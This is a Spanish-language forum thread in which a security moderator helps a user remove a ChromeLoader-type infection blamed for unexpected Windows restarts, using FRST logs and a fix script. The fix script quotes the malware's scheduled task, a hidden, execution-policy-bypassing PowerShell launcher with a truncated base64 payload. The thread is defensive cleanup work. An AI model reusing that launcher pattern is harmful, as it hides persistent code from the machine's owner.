Reinicio inesperado de Windows debido a PowerShell
Resuelto/Cerrado
Snake.Eater
-
bazfile Mensajes publicados 58492 Fecha de registro Estado Moderador Última intervención -
bazfile Mensajes publicados 58492 Fecha de registro Estado Moderador Última intervención -
Hola, conozco exactamente el mismo problema.
¿Sería posible recibir ayuda? gracias
He hecho un análisis con FRST.
Sin embargo, confieso que estoy perdido en los siguientes pasos a seguir.
Configuración: Windows / Chrome 97.0.4692.99
¿Sería posible recibir ayuda? gracias
He hecho un análisis con FRST.
Sin embargo, confieso que estoy perdido en los siguientes pasos a seguir.
Configuración: Windows / Chrome 97.0.4692.99
6 respuestas
-
Hola,
Descarga FRST, una vez descargado guárdalo en el escritorio, luego haz clic derecho sobre FRST y elige Ejecutar como administrador. Verás esto:
Haz clic en AnalizarAtención, espera a que se muestren los mensajes que dicen que el análisis ha terminado
Al final del análisis tendrás dos archivos de texto en el escritorio: FRST y Addition
Luego envía los informes FRST y ADDITION a CJOINT, consulta ESTE TUTORIAL y luego proporciona los dos enlaces generados por Cjoint en tu respuesta.
bazfile
Moderador/Colaborador de seguridad.
Un saludo, una respuesta, un agradecimiento siempre son bien recibidos. -
Muchas gracias por su rapidez.
Aquí están los archivos solicitados:
Adición: https://www.cjoint.com/c/LAxnjH7SwhV
FRST: https://www.cjoint.com/c/LAxnk6tBVFV -
Procedimiento a realizar en el orden indicado:
1- Abre FRST como administrador, para ello haz clic derecho sobre FRST y elige ejecutar como administrador
2 - Copia el script completo que está en el cuadro que sigue:Start::
CreateRestorePoint:
CloseProcesses:
HKLM\...\Run: [] => [X]
HKLM-x32\...\Run: [] => [X]
HKLM Restricción de política de grupo sobre software: %HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot%
HKLM Restricción de política de grupo sobre software: %HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir%
GroupPolicy: Restricción ?
HKLM\SOFTWARE\Policies\Mozilla\Firefox: Restricción
HKLM\SOFTWARE\Policies\Google: Restricción
Tarea: {253BC353-4705-4744-93F5-A80CD590F9F2} - \ChromeChecker -> No hay archivo
Tarea: {58636649-8490-4B13-A840-5F263B4D3AE6} - System32\Tasks\ChromeUpdater => cmd /c start /min "" powershell -ExecutionPolicy Bypass -WindowStyle Hidden -E JABlAHgAdABQAGEAdABoACAAPQAgACIAJAAoACQAZQBuAHYAOgBMAE8AQwBBAEwAQQBQAFAARABBAFQAQQApAFwAYwBoAHIAbwBtAGUAIgAKACQAYwBvAG4AZgBQAGEAdABoACAAPQAgACIAJABlAHgAdABQAGEAdABoAFwAYwBvAG4AZgAuAGoAcwAiAAoAJABhAHIAYwBoAGkAdgBlAE4AYQBtAGUAI (el elemento de datos tiene 4315 caracteres adicionales).
CHR StartupUrls: Predeterminado -> "hxxp://www.t411.me/"
Tarea: {6069F6B5-1513-428D-B05E-49574CE64BB4} - \ChromeChecker -> No hay archivo
Tarea: {8A00D84D-9A38-431E-AA70-D8C587E355FF} - \ChromeLoader -> No hay archivo
C:\Windows\system32\Tasks\ChromeUpdater
FirewallRules: [TCP Query User{5DF2606E-0341-4E2B-B35E-73205C574B05}D:\games\the forest\theforest.exe] => (Permitir) D:\games\the forest\theforest.exe => No hay archivo
FirewallRules: [UDP Query User{6352E93B-F278-4F0B-9A56-95BC4E2352FB}D:\games\the forest\theforest.exe] => (Permitir) D:\games\the forest\theforest.exe => No hay archivo
FirewallRules: [TCP Query User{53BFFB89-0652-47F4-A264-EA9828C47E28}D:0\flightsimulator.exe] => (Permitir) D:0\flightsimulator.exe => No hay archivo
FirewallRules: [UDP Query User{51A014B8-4B00-4687-8F16-865C1515ACF7}D:0\flightsimulator.exe] => (Permitir) D:0\flightsimulator.exe => No hay archivo
FirewallRules: [TCP Query User{7075C3CA-56C7-4BB7-8FC1-5527AF6451FA}D:7\forzahorizon5.exe] => (Permitir) D:7\forzahorizon5.exe => No hay archivo
FirewallRules: [UDP Query User{E8FD98A9-7931-4A5A-B974-6BB1BD274442}D:7\forzahorizon5.exe] => (Permitir) D:7\forzahorizon5.exe => No hay archivo
FirewallRules: [TCP Query User{24768A3C-178A-4210-94FB-7332FFB87FE7}D:9\haloinfinite.exe] => (Permitir) D:9\haloinfinite.exe => No hay archivo
FirewallRules: [UDP Query User{06A578E9-C1B6-4BA2-90BE-2F006BAC3192}D:9\haloinfinite.exe] => (Permitir) D:9\haloinfinite.exe => No hay archivo
EmptyTemp:
End::
3- Una vez copiado el script, haz clic en Corregir, FRST tomará automáticamente el script que está en el portapapeles.
Deja que la corrección se realice; una vez que haya terminado, se te pedirá que reinicies tu pc, hazlo tan pronto como se te solicite, ve a continuación.
IUna vez que tu ordenador se haya reiniciado:
4- Tendrás un archivo Fixlog en tu escritorio, luego envía estos informes a https://www.cjoint.com/ ver este tutorial, luego da el enlace generado por Cjoint en tu próximo mensaje.IMPORTANTE:
5- Restablece Google Chrome con ESTE SOFTWARE.
Luego:6- VERIFICA Y DIME SI TU PROBLEMA SIGUE PRESENTE
.
bazfile
Moderador/Contribuyente de seguridad.
un saludo, una respuesta, un agradecimiento siempre son bienvenidos. -
Una vez más, muchas gracias por esta rápida respuesta.
Aquí está el enlace para el fixlog: https://www.cjoint.com/c/LAxn1uYsdiV
Voy a reiniciar Chrome y ver si el problema persiste.
Les informaré.-
- En tu PC se puede ver que esta infección ya ha estado presente y ha sido eliminada en 3 ocasiones:
Tarea: {6069F6B5-1513-428D-B05E-49574CE64BB4} - \ChromeChecker -> Sin archivo
Tarea: {8A00D84D-9A38-431E-AA70-D8C587E355FF} - \ChromeLoader -> Sin archivo
Tarea: {253BC353-4705-4744-93F5-A80CD590F9F2} - \ChromeChecker -> Sin archivo
Esta infección, que apareció a finales de 2021, generalmente está presente en los ordenadores de jugadores, llega a través de juegos pirateados descargados via torrents, también llega a través de sitios de streaming, así que ten cuidado con lo que descargas.
Consulta ESTA PÁGINA.
Puedes desinstalar FRST, cambia el nombre del archivo FRST que descargaste, renómbralo a uninstall, luego una vez renombrado, ábrelo, la desinstalación se realizará automáticamente mediante un reinicio del PC.
-
-
De acuerdo, gracias.
Es raro, porque pedí mi PC por internet a través de un sitio que ofrecía montarlo (agando), fue a principios de diciembre.
Lo recibí la primera semana de enero, y siempre he tenido este problema. Además, no he pirateado ningún juego ni he estado en sitios de streaming.
Sí, había visto eso en el post que me condujo a ustedes.
Buena continuación y sinceramente me quedé sin ideas frente a mi problema.
Gracias por tomarte el tiempo de responderme y ayudarme. -